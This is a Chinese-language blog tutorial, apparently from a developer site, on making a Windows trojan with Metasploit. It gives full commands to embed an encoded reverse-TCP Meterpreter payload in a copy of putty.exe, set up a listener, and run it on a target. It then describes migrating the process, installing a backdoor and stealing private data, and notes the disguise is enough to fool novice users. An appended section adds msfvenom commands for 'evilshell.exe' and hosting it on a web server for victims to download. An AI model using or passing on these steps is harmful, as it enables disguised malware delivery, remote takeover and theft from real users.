木马程序的制作

0x0:想必大家都听说过计算机病毒或者木马吧,看着电影里面的黑客敲几下键盘就能控制你的系统,窃取你的隐私资料,执行任意命令,很炫酷吧,其实这种技术不难实现,接下来我就带领大家来玩一玩木马的制作.

实验环境:Win7SP1+Backtrack5.

使用工具有:msfpayload+msfencode.

 

0x01使用msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.30.101  LPORT=443 R | msfencode -e x86/shikata_ga_nai  -c  5  -t  exe  -x  /root/Desktop/putty.exe  -o /root/Desktop/putty_backdoor.exe

1-1.

命令解释:

Msfpayload后面是一个具有回连功能攻击载荷.

LHOST设置为自己的IPLPORT设置为自己的端口,用于回连.

RRaw)是输出为二进制格式,|代表管道,将二进制数据通过管道给msfencode进行编码.

e选择编码的模块,c表示编码的次数,这里是5.

t表示生成的格式,这里为exe.

x表示选择的源文件,o是输出加入PAYLOAD并进行过编码的木马文件.

 

0x02:生成的木马文件如图1-2.

 

1-2.

0x03:进入MSF后,我们打开监听模块.

 

1-3.

选择好PAYLOAD后设置目标回连的IP和端口即可.

 

1-4.

0x04:把木马文件复制到目标机器上并执行.

 

1-5.

0x05:查看监听状态,会发现有一个Meterpreter回连会话,这是你就可以使用migrate迁移进程,然后安装后门程序,再窃取隐私信息...

 

1-6.

 

End:这次渗透测试还是很简单的,蛋疼的是看《Metasploit渗透测试魔鬼训练营》的木马程序制作时一直不成功,研究了几天后偶然在国外的技术文章中收获了点灵感————不使用-K参数,虽然生成的木马程序不能拥有源程序的完整功能,但图标和程序大小没有改变,足够诱惑小白用户了,虽然msfencode2015年就宣布停止了,但我还是想把这块硬骨头啃烂,如果各位同道能找到解决方法,请联系我,谢谢!

 

1-7报错问题.

  

You can find me by qq:1762458611

### 使用Metasploit框架创建木马 #### 创建并配置监听器 为了成功利用Metasploit创建木马,首先需要设置一个有效的监听器来接收来自目标系统的连接。这可以通过`msfconsole`完成,在其中可以加载特定的exploit模块以及对应的payload。 ```bash use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <本地IP地址> set LPORT <端口号> exploit -j -z ``` 上述命令序列用于初始化一个多平台处理程序,并设定针对Windows操作系统的反向TCP Meterpreter shell作为有效负载[^1]。 #### 生成木马文件 接着,通过`msfvenom`工具可方便地构建适用于不同场景下的恶意软件样本。对于希望影响Windows主机的情况而言: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本地IP> LPORT=<端口> -f exe > evilshell.exe ``` 此指令指定了要采用的payload类型为`windows/meterpreter/reverse_tcp`,同时设定了回连的目标服务器信息(即攻击者的机器),最后将输出格式化成`.exe`文件保存下来[^3]。 #### 部署木马至Web服务目录 一旦获得了编译好的执行体之后,则需将其放置在一个能够被潜在受害者访问的位置上;通常情况下会选择HTTP(S)协议共享路径实现这一点。例如,把之前制作出来的`evilshell.exe`上传到Apache HTTP Server默认根目录下以便后续分发给对方下载运行: ```bash cp evilshell.exe /var/www/html/ ``` 该行脚本展示了怎样把生成的木马副本迁移到Linux系统内预置web站点的内容区里去等待传播时刻的到来[^2]。
评论 18
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值